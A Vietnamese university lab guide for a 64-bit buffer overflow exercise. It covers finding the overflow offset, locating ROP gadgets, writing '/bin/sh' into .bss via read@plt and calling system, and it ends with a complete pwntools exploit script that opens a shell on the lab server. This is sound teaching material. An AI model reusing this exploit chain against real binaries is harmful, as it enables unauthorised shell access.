Buffer Overflow: 64 bit application 3

1. Tổng quan

Lab này bao gồm mã nguồn của chương trình lỗi được biên dịch và chạy dưới kiến trúc 64-bit.

2. Yêu cầu đối với sinh viên

Sinh viên cần có kỹ năng sử dụng câu lệnh linux, hiểu biết thức nhất định về lập trình ngôn ngữ bậc thấp, biết sử dụng python phục vụ mục đích viết payload

3. Môi trường lab

Từ thư mục labtainer-student bắt đầu bài lab bằng câu lệnh:

labtainer -r ptit-buf64_3

Sinh viên sẽ được cung cấp 3 container, trong đó:

- Container attacker: chạy 2 terminal, chứa binary của service chạy
- Container ghidra: chạy 1 terminal, chứa binary của service chạy
- Container server: chạy ẩn binary của service

4. Tasks

Mục đích bài lab: Giúp sinh viên hiểu được về kỹ thuật tấn công buffer overflow ret2text nâng cao

a. Found pattern

Mục đích: Tìm được độ dài pattern gây ra lỗi

Các bước thực hiện:

- Thực hiện sinh chuỗi pattern làm đầu vào bằng cách sử dụng lệnh trên cửa sổ terminal của attacker:
    - *cyclic 200*
- Output của câu lệnh trên sẽ là chuỗi pattern có độ dài 200, copy chuỗi trên làm input để debug
- Tiến hành chạy trình debug để debug file binary một lần nữa:
    - *gdb buf64_3*
- Chạy trình debug bằng cách sử dụng lệnh:

- *run hoặc r*

- Paste pattern đã gen khi tiến trình yêu cầu nhập input
- Sau khi ấn enter, chương trình sẽ báo lỗi segmentation fault
- Copy 4 ký tự đầu của thanh ghi RSP ở phần REGISTERS
- Thoát tiến trình debugger:
  - *quit hoặc q*
- Tìm độ dài pattern gây ra lỗi bằng cách sử dụng cyclic:
  - *cyclic –l "<4 bytes đã copy>"*
  - *VD: cyclic –l "saaa"*
- Output sẽ là độ dài của pattern được sử dụng để tạo payload

b. RSI gadget

Mục đích: Tìm được địa chỉ của gadget pop rsi

Các bước thực hiện:

- Thực hiện list toàn bộ gadget của binary vào file:
  - ROPgadget --binary buf64_3 > gadget.txt
- Tìm kiếm gadget liên quan đến RSI:
  - grep rsi gadget.txt
- Lấy địa chỉ gadget liên quan đến pop rsi và có lệnh ret ở cuối

Task 2 quest: *Tại sao cần tìm địa chỉ của read@plt mà không dùng trực tiếp địa chỉ câu lệnh call read trong hàm vuln?*

Ans: *Do khi thực hiện call read trong vuln địa chỉ tiếp theo trong hàm vuln sau lệnh call sẽ là địa chỉ trả về, vậy nên ta không thể control RIP được nữa, và về bản chất khi thực hiện call read sẽ thực hiện lệnh jump đến read@plt, 2 lệnh chỉ khác nhau ở bước là một có push địa chỉ trả về không mong muốn lên stack, một thì không. Vậy nên sử dụng địa chỉ của read@plt sẽ đáp ứng được việc call hàm read với tham số mong muốn mà không ảnh hưởng đến việc thực thi tiếp của payload.*

c. RDI gadget

Mục đích: Tìm được nội dung flag được giấu trên server

Các bước thực hiện:

- Tìm kiếm gadget liên quan đến RDI:
    - grep rdi gadget.txt
- Lấy địa chỉ gadget liên quan đến pop rdi và có lệnh ret ở cuối

Task3 quest 1*: Tại sao lại cần thêm 8 bytes '0x00' (p64(0)) trước địa chỉ của read@plt trong payload*

Ans: *Do gadget RSI là pop rsi; pop r15; ret nên sau khi pop giá trị trên stack vào rsi thì instruction sau đó là pop r15 chứ không phải ret nên cần chêm một giá trị rác vào sau đó mới để địa chỉ của read@plt để câu lệnh ret trả về đúng địa chỉ mong muốn.*

Task 3 quest 2: *Giải thích đầy đủ luồng hoạt động của chương trình và payload khi bug được trigger?*

Ans: - *Bên trong hàm vuln, sau khi chạy hàm read, giá trị của fd, *buf, len trên thanh ghi RDI, RSI, RDX đều không thay đổi do giá trị các thanh ghi này đều được bảo toàn, để thực thi được system("/bin/sh") cần tìm cách ghi được giá trị "/bin/sh" vào phân vùng bộ nhớ của chương trình, sự lựa chọn là phân vùng .bss do phân vùng này có địa chỉ cố định và có quyền read-write.*

- Tiếp theo sử dụng hàm read để ghi giá trị từ stdin (fd = 0) vào vị trí trong .bss, cần tìm được gadget để thay đổi giá trị RSI là thanh ghi chứa giá trị con trỏ buffer.

- Sau đó gọi hàm system với tham số đầu vào là địa chỉ đã chọn trên .bss

- Do chuỗi chain ret-address đã nằm trên stack nên khi gửi xong payload đầu tiên mặc định ta đã xong phần exploit, câu lệnh read sẽ được thực thi và chờ input đầu vào, khi này nhập chuỗi "/bin/sh", chuỗi sẽ được ghi vào địa chỉ đã chọn và chương trình tiếp tục luồng thực thi, gán thanh ghi rdi bằng địa chỉ đã chọn và gọi hàm system.

d. VMMAP

Mục đích: Tìm phân vùng chứa quyền read/write phù hợp trên memory

Các bước thực hiện:

- Thực hiện debug tiến trình:
    - gdb buf64_3
- Chạy lệnh và lấy địa chỉ của hàm read@plt:

    - info func
- Chạy lệnh và lấy địa chỉ của call system:
    - disass win
- Đặt breakpoint tại main:
    - b main
- Chạy chương trình:
    - run
- Thực hiện chạy lệnh vmmap để liệt kê các phân vùng bộ nhớ
    - Vmmap
- Tại phân vùng dành cho bss có quyền read/write của binary (cột perm) tìm ô địa chỉ phù hợp để chọn ghi dữ liệu và không làm ảnh hưởng đến các giá trị khác lưu trữ trên phân vùng đó:
    - x/500gx 0x601000

e. SECRET

Mục đích: lấy được giá trị bí mật trên server

Các bước thực hiện:

- Thực hiện chỉnh sửa file payload:
    - nano solve.py
- Luồng chương trình mong muốn khi payload được thực thi:
    - Chương trình sẽ bị điều khiển luồng thực thi để thực thi hàm read cho phép nhập dữ liệu đầu vào
    - Sau khi thoát khỏi hàm read tiến hành gọi hàm system với đầu vào là địa chỉ đã nhập vào từ hàm read
    - Sau khi gửi payload chương trình thực thi và cho phép ta nhập thêm input một lần nữa (hàm read được thực thi và đang chờ đọc dữ liệu) khi này câu lệnh thực thi bởi system là input được nhập vào
- Để có thể thực thi thành công sinh viên cần hiểu về calling convention trong kiến trúc 64-bit
- Payload thực thi hàm read: p64(rsi) + p64(bss) + p64 (0) + p64(read_)

- Payload thực thi hàm system: + p64(rdi) + p64(bss) + p64 (system)
- Với:
    - rdi (địa chỉ gadget rdi)
    - rsi (địa chỉ gadget rsi)
    - read_ (địa chỉ read@plt)
    - bss (địa chỉ dùng ghi dữ liệu vào)
    - system (địa chỉ instruction 'call system')
- Thực hiện tương tự việc debug tại local như với lab buf64_2 để xác nhận rằng payload hoạt động tốt
- Thay đổi payload để tấn công lên server:
    - python3.8 solve.py
- Sau khi thực thi payload thành công sinh viên sẽ có một interactive shell để tương tác, thực hiện đọc nội dung file .secret:
    - cat .secret
- Sao chép số bí mật và submit tại cửa sổ của attacker:
    - echo "flag <secret_number>"

payload cuối cùng:

```
from pwn import *
context(terminal=['./gdbpwn-client.sh'])
elf = ELF('./buf64_3')

rdi = 0x0000000000400843
rsi = 0x0000000000400841
read_ = 0x400600
bss = 0x601068
system = 0x40071e

payload = cyclic(72) + p64(rsi) + p64(bss) + p64 (0) + p64(read_) + p64(rdi) +
p64(bss) + p64 (system)
#p = elf.process()
#gdb.attach(p)
#pause()
p = remote('192.168.1.2', 1810)
```

```
p.sendlineafter(b'<<', payload)
time.sleep(0.5)
p.send(b'/bin/sh\x00')

p.interactive()
```

5. Kết thúc bài lab

- Thực hiện checkwork bài lab bằng câu lệnh bên dưới:
    - checkwork ptit-buf64_3
- Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:
    - stoplab ptit-buf64_3
- Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:
    - labtainer -r ptit-buf64_3